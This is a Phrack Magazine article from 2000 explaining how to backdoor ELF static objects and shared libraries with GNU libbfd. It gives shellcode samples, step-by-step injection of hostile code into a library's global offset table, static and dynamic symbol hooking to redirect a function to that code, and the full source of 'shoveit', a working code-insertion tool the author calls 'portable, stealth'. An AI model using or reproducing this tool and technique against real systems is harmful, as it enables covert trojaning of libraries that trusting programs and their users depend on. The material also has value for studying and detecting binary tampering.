Title : Backdooring binary objects
Author : klog
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x09[0x10]
|------------------------- BACKDOORING BINARY OBJECTS ------------------------|
|-----------------------------------------------------------------------------|
|-------------------------- klog <klog@promisc.org> --------------------------|
----| Introduction
Weakening a system in order to keep control over it (or simply to alter
some of its functionality) has been detailed in many other papers. From
userland code modification to trojan kernel code, most of the common
backdooring techniques are either too dirty, or just not portable enough.
How can we create a standard and clean way to backdoor binary files? The
right answer to this question is just the same as for "How can we create a
standard and clean way to debug and analyze binary files?". The GNU Project
found the answer even before we could ask the question.
ipdev:~$ ldd /usr/bin/nm
libbfd.so.2.6.0.14 => /usr/lib/libbfd.so.2.6.0.14
libc.so.5 => /lib/libc.so.5.3.12
ipdev:~$
----| The BFD.
The Binary File Descriptor. Becoming the de facto standard in binary file
analysis, manipulation and linking, libbfd will support about any file format
and architecture you can own. Although it is mostly intended for ELF support,
its frontend will enable you to transparently modify objects with various
formats like COFF, AOUT or IEEE. At this very moment, it is probably your
best bet for shared library backdooring.
----| Overview
The following article will show you the bliss of backdoor portability by
describing both static and shared ELF object backdooring methods. It will be
divided into the logical steps of the operation which are the code writing
procedure, the code insertion procedure, and finally, the hooking procedure.
QUICK NOTE:
Before diving in, the reader needs to know a few things... First of all,
libbfd is *usually* found on most systems, including linux, and *bsd. If it
is not, it is included in the GNU binutils distribution. Fetch it. Also,
it is important to know that libbfd relies on the libiberty library, which
you would be lucky to find on your target host. It is small, and you might
want to consider making it a part of your portable backdooring toolkit.
Finally, it might happen that BFD does *not* provide the required facilities
to completely insert our malicious code in specific situations. Thus, we
might have to use object format specific techniques in order to complete our
goal.
----| Writing the hostile code
This section will look familiar to most of you shellcode writers out there. As
a matter of fact, it is probably the most painful step in the portability of
our backdooring technique. However, it should be reasonably painfree for the
average hacker who has some knowledge of assembly on common architectures.
The easiest way to write our code would be to do it in asm, using the
"eggcode" method, which enables us to insert the hostile code in unknown
environments without any fear of breaking its internal links. By using
relative addressing, it becomes possible to write code which would be
completely independent from its environment, as seen in most exploit
shellcodes. An example of eggcode (for those who never touched one before)
would be the following:
ipdev:~/tmp/bfd$ cat eggcode.s
.text
.align 4
.globl main
.type main,@function
main:
xorl %eax,%eax
xorl %edx,%edx
movb $0xb,%al
jmp .jumpme
.callme:
popl %ebx
leal 0x8(%ebx),%ecx
movl %ebx,0x8(%ebx)
movl %edx,0xc(%ebx)
int $0x80
.jumpme:
call .callme
.string "/bin/sh\0"
ipdev:~/tmp/bfd$
However, when it comes to backdoors, where function call redirection is often
(always?) involved, such a technique becomes inapplicable. As a matter of
fact, that kind of backdoor would render the hooked function unusable, since
no redirection to the original function can be done on specific conditions.
For that purpose, we will have to find a way to refer to functions located
in our target object.
Fortunately for us, there is a pretty easy way to do such a thing. The only
condition is that the referenced symbol must be located within the library
we are backdooring (not imported from somewhere else). Let's suppose that we
want to backdoor a function called huhu() in some library, and that the
backdoor will have to redirect the call to another function called haha()
within the same library. In this example, haha() will be passed a string
which will be printed on the screen.
Before being able to find out what address we want to call from our backdoor,
we will have to determine the position of haha() within the targeted
library...
ipdev:~/tmp/bfd$ nm lib.so
00001214 A _DYNAMIC
00001208 A _GLOBAL_OFFSET_TABLE_
00001264 A __bss_start
00001264 A _edata
00001264 A _end
00000200 A _etext
000001d8 t gcc2_compiled.
000001d8 T haha
000001ec T huhu
U printf
ipdev:~/tmp/bfd$
We can see that it will map into memory at address 0x1d8. To deduce the
address we want to call in our backdoor, we will have to consider the code
relocation which will be performed when inserting our backdoor into the
library. The resulting address would be 1d8-[reloc_offset]. That in mind,
le'ts write the eggcode of our backdoor:
ipdev:~/tmp/bfd$ cat > eggcode.s
.text
.align 4
.globl main
.type main,@function
main:
nop
nop
nop
nop
nop
nop
pushl %ebp
movl %esp,%ebp
jmp string
callit: call 0x1d8-0x1214-0x10
addl $4,%esp
movl %ebp,%esp
popl %ebp
ret
string:
call callit
.string "whore\n"
^D
ipdev:~/tmp/bfd$
In this example, the relocation offset of our code is 0x1214. The subtraction
of 0x10 is required because the called address in the code is considered by
the compiler as relative to the position of the call instruction, when we call
an absolute address. As you probably guessed, the call instruction ends at
address 0x10 within the eggcode. Also, you might have noticed all the nops at
the beginning of the code. This is purely to avoid any padding or
miscalculation problem. As in all exploit writing, we are never careful
enough.
----| Inserting the hostile code
Now comes the part where libbfd will become useful. As a matter of fact,
bfds have the capability of describing a complete binary file (from head
to tail) more or less quite accurately. Accuracy, in this case, refers to the
ability to interpret various data from the object file, which is highly
influenced by the transparency required by libbfd when it comes to such a task.
Thus, multiple format-specific features will be sacrificed in order to
protect the portability of the bfd interface. However, we do not need to
worry about that for the moment, since our task strictly consists of malicious
code insertion. Fortunately, our trojan insertion method will only rely on
the presence of multiple sections within an object, which is common on most
architectures. Before proceeding to this, we will have to take a look at
what APIs libbfd offers us.
At the time of this writing (bfd version < 3.0), libbfd does not permit direct
modification of an object file. The two most useful functions libbfd does
offer us are bfd_openr() and bfd_openw(). They both require the object file
name and the architecture type as arguments, and they both return a descriptor
to the allocated bfd. When a bfd is being opened in read mode (openr), none
of its structures can be dumped into the physical file. On the other hand,
when it is opened in write mode (openw), none if its data can be read. For
this reason, in order to insert our backdoor, we will have to copy the binary
file, section by section, and perform the data insertion while copying the
host section of our target file.
The process of copying the object file is composed of several steps, including
the reproduction of the file's start address, flags, architecture, symbol
table, debugging information and various sections. Since a sample backdooring
program code called shoveit.c is appended at the end of this article, we
will only take a look at the interesting functions of libbfd when it comes
to inserting our backdoor into the destination object (the hooking of the
various symbol tables is described in the next sections). For informational
purposes, let's take a look at the transparent libbfd view of a binary
file section:
typedef struct sec
{
const char *name;
int index;
struct sec *next;
flagword flags;
#define SEC_NO_FLAGS 0x000
#define SEC_ALLOC 0x001
#define SEC_LOAD 0x002
#define SEC_RELOC 0x004
#define SEC_BALIGN 0x008
#define SEC_READONLY 0x010
#define SEC_CODE 0x020
#define SEC_DATA 0x040
unsigned int user_set_vma : 1;
unsigned int reloc_done : 1;
unsigned int linker_mark : 1;
bfd_vma vma;
bfd_vma lma;
bfd_size_type _cooked_size;
bfd_size_type _raw_size;
bfd_vma output_offset;
struct sec *output_section;
unsigned int alignment_power;
struct reloc_cache_entry *relocation;
struct reloc_cache_entry **orelocation;
unsigned reloc_count;
file_ptr filepos;
file_ptr rel_filepos;
file_ptr line_filepos;
PTR userdata;
unsigned char *contents;
alent *lineno;
unsigned int lineno_count;
file_ptr moving_line_filepos;
int target_index;
PTR used_by_bfd;
struct relent_chain *constructor_chain;
bfd *owner;
struct symbol_cache_entry *symbol;
struct symbol_cache_entry **symbol_ptr_ptr;
struct bfd_link_order *link_order_head;
struct bfd_link_order *link_order_tail;
} asection ;
All the bfd represented sections of a binary file are linked together with
the *next pointer, and point back to their parent bfd with a *owner pointer.
Most of the other fields are used either by libbfd's internal procedures,
or by the frontend macros. They are pretty much self-explanatory; however,
for more information on what a given field is intended for, refer to the bfd.h
header file.
In order to copy sections from one bfd to another, you first must register a
handler with the bfd_map_over_sections() function, which will be executed for
each section of the input bfd. This mapping function must be passed the bfd of
the file in question, and a pointer to the handling function. An optional
"obj" pointer can also be passed to this handling function, which must have
the following prototype:
handler(bfd *, asection *, void *);
In order to first create the destination sections which will correspond to the
sections of our source object, we will register a setup_section() function,
which will set each destination section with its respective vma, lma, size,
alignment and flags. As you can see in the code below, we must pay particular
attention to keep enough free space in the section which will host our hostile
code such that both our backdoor and the original section will comfortably fit.
Also, once the backdoor has been placed into a section, all of the following
section's vma and lma are readjusted so that our hostile code will not be
overwritten by those sections once mapped into virtual memory.
Once the creation of our destination sections is done, we will have to copy
the symbol table of our source file, which must be done before any section
content is reproduced. As was said before, this will be examined in the
following sections.
Finally, we are ready to copy the data from one section to its respective
destination (which is performed by the copy_section() handler in the code
below). Data can be read from and written to a bfd section by using the
bfd_get_section_contents and bfd_set_section_contents respectively. Both
of these functions require the following arguments:
- the target/source bfd,
- section pointers,
- a pointer to the buffer (which will be filled with/dumped to the
pointed section),
- the offset within the section,
- the size of the buffer.
The data will be physically dumped into the object file once the bfd_close()
function has been called.
In a usual situation where a section is modified while being copied, we
would have to relocate all the absolute references to symbols located in
the sections following the altered section. However, this operation can
be avoided if the host section is among the last ones to be mapped into
virtual memory, after which no other section is referenced to with
absolute addressing. If we take a quick look at the following example:
ipdev:~/tmp/bfd$ objdump -h /usr/lib/crt1.o
/usr/lib/crt1.o: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000080 00000000 00000000 00000040 2**4
CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
1 .data 00000004 00000000 00000000 000000c0 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000000 00000000 00000000 000000c4 2**2
ALLOC
ipdev:~/tmp/bfd$
We would probably consider placing our code into the data section of the
crt1.o program header. However, the situation may become quite different
for shared libraries:
ipdev:~/tmp/bfd$ objdump -h lib.so
lib.so: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .hash 0000003c 00000094 00000094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .dynsym 000000a0 000000d0 000000d0 000000d0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .dynstr 00000050 00000170 00000170 00000170 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .rel.text 00000018 000001c0 000001c0 000001c0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .text 00000028 000001d8 000001d8 000001d8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
5 .rodata 00000006 00000200 00000200 00000200 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .data 00000000 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .got 0000000c 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
8 .dynamic 00000050 00001214 00001214 00000214 2**2
CONTENTS, ALLOC, LOAD, DATA
9 .bss 00000000 00001264 00001264 00000264 2**2
ALLOC
10 .note 00000014 00000000 00000000 00000264 2**0
CONTENTS, READONLY
11 .comment 00000012 00000000 00000000 00000278 2**0
CONTENTS, READONLY
ipdev:~/tmp/bfd$
In this case, our best bet would probably be the global offset table
(got) of the library, since we do not want to break absolute links in the
preceding sections. Whenever possible, we will try not to alter special
sections like dynsym, dynstr or dynamic, which are often analyzed by tools
like nm or objdump.
----| Standard symbol hooking
Symbol alteration is probably the most important part of the backdooring
procedure. As a matter of fact, once our code is written and pushed into
the target object, we must find a way to trigger its execution whenever
the function we want to backdoor is called by a trusting process.
This first type of symbol hooking is quite interesting when we try to
backdoor static objects. The standard symbol table of a binary file
is easily accessible thru the bfd interface, and therefore, this operation
wont both be simple and portable. Each of the symbols is canonically
represented by libbfd like this:
typedef struct symbol_cache_entry
{
struct _bfd *the_bfd;
const char *name;
symvalue value;
flagword flags;
#define BSF_NO_FLAGS 0x00
#define BSF_LOCAL 0x01
#define BSF_GLOBAL 0x02
#define BSF_EXPORT BSF_GLOBAL
#define BSF_DEBUGGING 0x08
#define BSF_FUNCTION 0x10
#define BSF_KEEP 0x20
#define BSF_KEEP_G 0x40
#define BSF_WEAK 0x80
#define BSF_SECTION_SYM 0x100
#define BSF_OLD_COMMON 0x200
#define BFD_FORT_COMM_DEFAULT_VALUE 0
#define BSF_NOT_AT_END 0x400
#define BSF_CONSTRUCTOR 0x800
#define BSF_WARNING 0x1000
#define BSF_INDIRECT 0x2000
#define BSF_FILE 0x4000
#define BSF_DYNAMIC 0x8000
#define BSF_OBJECT 0x10000
struct sec *section;
union
{
ptr p;
bfd_vma i;
} udata;
} asymbol;
Unlike sections, symbol entries are located using an array of pointers, but
they also point back to both their parent bfd (using *the_bfd) and their
parent section (using *section). Symbols we will be interested in hooking
will have the BSF_FUNCTION flag on. The name and the relative value of the
symbol are pointed and stored in the name and value fields, respectively (as
you could have guessed). We will use both of them in order to locate our
targeted symbol.
In order to read the symbol table of an object file, we will first have to
get its size by using the bfd_get_symtab_upper_bound() (whose only
argument is the bfd of our target object). Once this is done, we will be
able to malloc a buffer and fill it with the object's symbol table using
bfd_canonicalize_symtab(). This bfd function will receive the object's
bfd followed by the malloc'ed buffer as arguments, and return the number
of canonicalized symbols read.
When processing the table in order to hook our specific symbol (which we
will seek by value instead of name, for reasons we will see in the next
section), we will have to consider the fact that each symbol's value
has been modified by libbfd to look relative to their respective section's
beginning. For that reason, the first symbol of a random section will
always seem to have a value of 0x0, although its pretty different
physically.
Once the symbol table has been altered at will, it is possible to dump it
back into its object file using the bfd_set_symtab() function, which
requires as argument the object's bfd, the pointer to the symbol table
(the malloc'ed buffer) and the number of symbols to be written.
----| Dynamic symbol hooking
When it comes to hooking shared objects the hooking process becomes quite
different. First of all, shared objects use a different symbol table
than the one used for static linking. Under ELF, these symbols are stored
in the ".dynsym" section, but remain represented in the same way a static
symbol is. Also, all the names of the symbols stored in the ".dynsym"
section of the object are kept in a different section, called ".dynstr".
However, this is far from being the most problematic part. Although you
will be able to use libbfd to read dynamic symbols in the same way you
read standard symbols, there does not seem to be any dynamic symbol table
dumping function implemented in libbfd yet. In order words, it means that
our wonderfully portable insertion/hooking combo technique will lose
pretty much of its portability in this operation. However, since dynamic
linking is almost only (in the most interesting cases) used in ELF, the
sacrifice is not too expensive.
Now that we know we will have to manually modify the dynamic symbol table,
we have a small practical dilemma. Since the dynamic symbol table is located
within a section of our target object, we will probably want to perform
dynamic symbol hooking while copying each of the file's section. The dilemma
is that, as said before, the symbol names are stored in a different section of
the file. Two possibilities are offered to us. The first one is to load both
tables into memory and resolve the links between the *st_name fields of the
.dynsym section and the strings of the .dynstr section. However, since we are
lazy, we will probably prefer the alternative solution, where we will locate
each symbol by its original value instead of its name (as noted in the
previous section).
Now that we are ready to process the dynamic symbol table manually, it would
be required to know what an ELF symbol entry looks like:
typedef struct elf32_sym {
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Half st_shndx;
} Elf32_Sym;
As in the bfd transparent symbol structure, most of the fields we are
interested in are pretty self-explanatory. If we now take a look at what the
.dynsym section looks like, we will see this:
ipdev:~/tmp/bfd$ objdump --full-contents --section=.dynsym lib.so
lib.so: file format elf32-i386
Contents of section .dynsym:
00d0 00000000 00000000 00000000 00000000 ................
00e0 01000000 14120000 00000000 1100f1ff ................
00f0 0a000000 08120000 00000000 1100f1ff ................
0100 20000000 d8010000 13000000 12000500 ...............
0110 25000000 00000000 00000000 10000000 %...............
0120 2c000000 ec010000 14000000 12000500 ,...............
0130 31000000 00020000 00000000 1100f1ff 1...............
0140 38000000 64120000 00000000 1100f1ff 8...d...........
0150 3f000000 64120000 00000000 1100f1ff ?...d...........
0160 4b000000 64120000 00000000 1100f1ff K...d...........
ipdev:~/tmp/bfd$
You can observe that the first entry of the dynamic symbol table (the second
being used by the _DYNAMIC section symbol which has value of 0x1214) is nulled
out. To our eyes, it's just another mystic feature established by the ELF
standard, which is not worth being taken in consideration for our hooking
operation.
----| SHOVEIT: a multipurpose code insertion tool
In order to simplify the task of backdooring shared libraries and static
objects, I wrote a nice little tool which will enable you to use some bfd
APIs without having to worry about programming. Of course, this could open the
door to script kiddies, but they would have had to go thru all of this article
before using it, and I doubt most of them can do that. The tool is located
at the end of the article, extractable using the Phrack Magazine Extraction
Utility.
Lets take a look at a practical code insertion example using shoveit. Suppose
here we are backdooring the same lib.so shared library as we were trying to
backdoor at the beginning of this article. Its most interesting symbols are
still the function haha (the one we call) at address 0x1d8 and the function
huhu (the one we hook) at address 0x1ec. We are also using the backdoor we
wrote previously, "eggcode.s".
ipdev:~/tmp/bfd$ gcc -c test.s
ipdev:~/tmp/bfd$ objdump -h test.o
test.o: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000023 00000000 00000000 00000034 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .data 00000000 00000000 00000000 00000058 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000000 00000000 00000000 00000058 2**2
ALLOC
ipdev:~/tmp/bfd$
We now see that all of our backdoor's code is stored in the eggcode's
text section. Before pushing it into our target library, we will have to
verify where it will be placed after insertion, so that we can hook the
library's symbol table correctly.
ipdev:~/tmp/bfd$ objdump -h lib.so
lib.so: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .hash 0000003c 00000094 00000094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .dynsym 000000a0 000000d0 000000d0 000000d0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .dynstr 00000050 00000170 00000170 00000170 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .rel.text 00000018 000001c0 000001c0 000001c0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .text 00000028 000001d8 000001d8 000001d8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
5 .rodata 00000006 00000200 00000200 00000200 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .data 00000000 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .got 0000000c 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
8 .dynamic 00000050 00001214 00001214 00000214 2**2
CONTENTS, ALLOC, LOAD, DATA
9 .bss 00000000 00001264 00001264 00000264 2**2
ALLOC
10 .note 00000014 00000000 00000000 00000264 2**0
CONTENTS, READONLY
11 .comment 00000012 00000000 00000000 00000278 2**0
CONTENTS, READONLY
ipdev:~/tmp/bfd$ nm --dynamic lib.so
00001214 A _DYNAMIC
00001208 A _GLOBAL_OFFSET_TABLE_
00001264 A __bss_start
00001264 A _edata
00001264 A _end
00000200 A _etext
000001d8 T haha
000001ec T huhu
U printf
ipdev:~/tmp/bfd$
Great. We observe that if we insert our hostile code right after the global
offset table's content, we will have to alter the huhu's value from 0x1ec
to 0x1214 (0x1208+0xc). We will now use shoveit to append our backdoor code
to our library's .got section, and to hook the "huhu" symbol so it points
to the position at which our backdoor was inserted.
ipdev:~/tmp/bfd$ ./shoveit test.o .text lib.so .got 0x1ec 0x1214
Hooking statsyms from 0x1ec to 0x1214
Hooking dynsyms from 0x1ec to 0x1214
Inserting 35 hostile bytes into .got
ipdev:~/tmp/bfd$ nm --dynamic lib.so
00001214 A _DYNAMIC
00001208 A _GLOBAL_OFFSET_TABLE_
00001264 A __bss_start
00001264 A _edata
00001264 A _end
00000200 A _etext
000001d8 T haha
00001214 T huhu
U printf
ipdev:~/tmp/bfd$ objdump -D --section=.got \
--start-address=0x1214 lib.so
lib.so: file format elf32-i386
Disassembly of section .got:
00001214 <.got+c> nop
00001215 <.got+d> nop
00001216 <.got+e> nop
00001217 <.got+f> nop
00001218 <.got+10> nop
00001219 <.got+11> nop
0000121a <.got+12> pushl %ebp
0000121b <.got+13> movl %esp,%ebp
0000121d <.got+15> jmp 0000122b <_DYNAMIC+17>
0000121f <.got+17> call 000001d8 <haha>
00001224 <.got+1c> addl $0x4,%esp
00001227 <.got+1f> movl %ebp,%esp
00001229 <.got+21> popl %ebp
0000122a <.got+22> ret
0000122b <.got+23> call 0000121f <_DYNAMIC+b>
00001230 <.got+28> ja 0000129a <__bss_start+36>
00001232 <.got+2a> outsl %ds:(%esi),(%dx)
00001233 <.got+2b> jb 0000129a <__bss_start+36>
00001235 <.got+2d> orb (%eax),%al
ipdev:~/tmp/bfd$
Wonderful. We have inserted our hostile code at vma 0x1214 in the library
and hooked the huhu symbol to make it point to it. Furthermore, you can
observe that our calculations from the first part of this article were right:
our code successfully calls the haha() function within the target library.
Nothing can stop us from now on...
ipdev:~/tmp/bfd$ ldd prog
./lib.so => ./lib.so
ipdev:~/tmp/bfd$ ./prog
whore
ipdev:~/tmp/bfd$
----| The END (sniff)
I hope you all enjoyed this little demonstration. Of course, this is not a
new class of vulnerability, however, I hope it will help some people to
understand that once your host has lost its integrity, you should always
assume the worst. The fact that a system's source code is tightly preserved
from prying eyes is not a valid argument when it comes to security. One
way or the other, the standards you follow will make your software as
potentially vulnerable as any other software.
Greats to adm, promisc, wiretrip, teso, w00w00, and of course, phrack.
----| Shoveit
<++> p56/bfd/shoveit.c !6de17d5d
/*
*
* Coded by klog <klog@promisc.org>
*
* libbfd relies on libiberty, so
* cc -c shoveit.c first, then cc shoveit.o -lbfd -liberty
*
* shoveit <src_obj> <src_segment> <dst_obj> <dst_segment>
* <orig_addr> <new_addr>
*
* This tool will insert "src_segment" from "src_obj" into
* "dst_segment" of "dst_obj", and alter "symbol" to physical
* value "value".
*
* Portable, stealth, flexible.
* Have fun :)
*
* NB: shoveit does *not* perform relocation
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <strings.h>
#include <linux/elf.h>
#define DYNSTAB ".dynsym"
#define nonfatal(s) {perror(s); return;}
#define fatal(s) {perror(s); exit(-1);}
#define bfd_nonfatal(s) {bfd_perror(s); return;}
#define bfd_fatal(s) {bfd_perror(s); exit(-1);}
char *input_section;
char *output_section;
char *input_filename;
static bfd *bd_bfd;
static sec_ptr bdsection;
static int bd_size = 0;
static int isdone = 0;
static int vma_offset = 0;
static long hooksym;
static long hookval;
void hook_dynstab(struct elf32_sym *symtab, bfd_size_type size)
{
int symcount, i;
symcount = size/sizeof(asymbol);
for(i=0;i<symcount;i++) {
if (symtab[i].st_value == hooksym)
symtab[i].st_value = hookval;
}
}
void setup_section(bfd *ibfd, sec_ptr isection, bfd *obfd)
{
struct section_list *p;
sec_ptr osection;
bfd_vma vma;
bfd_vma lma;
flagword flags;
char *err;
int isdest = 0;
if (!strcmp(output_section, isection->name)) isdest = 1;
osection = bfd_make_section_anyway(obfd,
bfd_section_name(ibfd, isection));
if (osection == NULL)
fatal("making section");
if (isdone) vma_offset = bd_size;
if (isdest) {
if (!bfd_set_section_size(obfd, osection,
bfd_section_size(ibfd, isection)+bd_size))
bfd_fatal("setting size");
isdone = 1;
} else {
if (!bfd_set_section_size(obfd, osection,
bfd_section_size(ibfd, isection)))
bfd_fatal("setting size");
}
vma = bfd_section_vma (ibfd, isection) + vma_offset;
if (!bfd_set_section_vma(obfd, osection, vma))
fatal("setting vma");
osection->lma = isection->lma + vma_offset;
if (bfd_set_section_alignment(obfd, osection,
bfd_section_alignment(ibfd, isection)) == false)
fatal("setting alignment");
flags = bfd_get_section_flags(ibfd, isection);
if (!bfd_set_section_flags(obfd, osection, flags))
bfd_nonfatal("setting flags");
isection->output_section = osection;
isection->output_offset = 0;
if (!bfd_copy_private_section_data(ibfd, isection, obfd, osection))
fatal("setting private data");
return;
}
void copy_section(bfd *ibfd, sec_ptr isection, bfd *obfd)
{
struct section_list *p;
arelent **relpp;
long relcount;
sec_ptr osection;
bfd_size_type size;
long relsize;
int isdest = 0;
char **matching;
if (!strcmp(output_section, isection->name)) isdest = 1;
osection = isection->output_section;
size = bfd_get_section_size_before_reloc(isection);
if (size == 0 || osection == 0 || bd_size == 0)
return;
if (bfd_get_section_flags(ibfd, isection) & SEC_HAS_CONTENTS)
{
PTR memhunk = (PTR)xmalloc((unsigned) size);
if (!bfd_get_section_contents(ibfd, isection,
memhunk, (file_ptr) 0, size))
nonfatal ("get_contents");
if (isdest) {
PTR bdhunk = (PTR)xmalloc((unsigned)size+bd_size);
printf("Inserting %i hostile bytes into %s\n",
bd_size, osection->name);
bcopy(memhunk, bdhunk, size);
if (!bfd_get_section_contents(bd_bfd, bdsection,
bdhunk+size, 0, bd_size))
bfd_nonfatal ("get_contents");
if (!bfd_set_section_contents(obfd, osection,
bdhunk, (file_ptr) 0, size+bd_size))
bfd_nonfatal("set_contents");
free (bdhunk);
} else {
if (!strcmp(osection->name, DYNSTAB)) {
printf("Entering %s\n", osection->name);
hook_dynstab(memhunk, size);
}
if (!bfd_set_section_contents(obfd, osection,
memhunk, (file_ptr) 0, size))
bfd_nonfatal("set_contents");
}
free (memhunk);
}
}
void copy_object(bfd *ibfd, bfd *obfd)
{
long start;
long symcount, i;
long symsize;
char **matching;
asymbol **symtab;
start = bfd_get_start_address(ibfd);
if (!bfd_set_format (obfd, bfd_get_format(ibfd)))
nonfatal ("set_format");
bd_bfd = bfd_openr(input_filename, "i586-pc-linux-gnulibc1");
if (!bd_bfd) bfd_fatal("bfd_openr");
bfd_check_format_matches(bd_bfd, bfd_object, &matching);
bdsection = bfd_get_section_by_name(bd_bfd, input_section);
if (!bdsection) bfd_fatal("bfd_section");
bd_size = bfd_section_size(bd_bfd, bdsection);
if (!bd_size) bfd_fatal("section_size");
if (!bfd_set_start_address (obfd, start) ||
!bfd_set_file_flags(obfd,(bfd_get_file_flags(ibfd)
& bfd_applicable_file_flags(obfd))))
{
bfd_fatal("set_file_flags");
}
if (!bfd_set_arch_mach(obfd, bfd_get_arch (ibfd),
bfd_get_mach (ibfd)))
{
fprintf (stderr,
"Output file cannot represent architecture %s\n",
bfd_printable_arch_mach (bfd_get_arch(ibfd),
bfd_get_mach(ibfd)));
}
if (!bfd_set_format (obfd, bfd_get_format(ibfd)))
nonfatal ("set_format");
bfd_map_over_sections(ibfd, (void *)setup_section, obfd);
symsize = bfd_get_symtab_upper_bound(ibfd);
if (symsize < 0) nonfatal("get_symtab");
symtab = (asymbol **)xmalloc(symsize);
symcount = bfd_canonicalize_symtab(ibfd, symtab);
if (symcount < 0) nonfatal("canon_symtab");
printf("Scanning %i symbols\n", symcount);
for(i=0;i<symcount;i++)
if (symtab[i]->value == hooksym) {
symtab[i]->value = hookval;
printf("Static symbol \"%s\" =+ %x\n",
symtab[i]->name, symtab[i]->value);
break;
}
bfd_set_symtab(obfd, symtab, symcount);
bfd_map_over_sections(ibfd, (void *)copy_section, obfd);
if (!bfd_copy_private_bfd_data (ibfd, obfd))
fatal("bfd_copy_private_bfd_data");
}
main(int argc, char *argv[])
{
bfd *ibfd;
char **matching;
char *output_filename;
input_filename = argv[1];
input_section = argv[2];
output_filename = argv[3];
output_section = argv[4];
hooksym = strtol(argv[5], NULL, 16);
hookval = strtol(argv[6], NULL, 16);
bfd_init();
ibfd = bfd_openr(output_filename, "i586-pc-linux-gnulibc1");
if (ibfd == NULL)
{
bfd_nonfatal("openr");
}
if (bfd_check_format_matches(ibfd, bfd_object, &matching))
{
bfd *obfd;
obfd = bfd_openw("newlib", "i586-pc-linux-gnulibc1");
if (obfd == NULL) bfd_fatal("openw");
copy_object(ibfd, obfd);
if (!bfd_close(obfd)) bfd_fatal("close");
if (!bfd_close(ibfd)) bfd_fatal("close");
execl("/bin/mv", "/bin/mv", "newlib",
output_filename, NULL);
} else {
bfd_fatal("format_matches");
}
}
<-->
|EOF|-------------------------------------------------------------------------|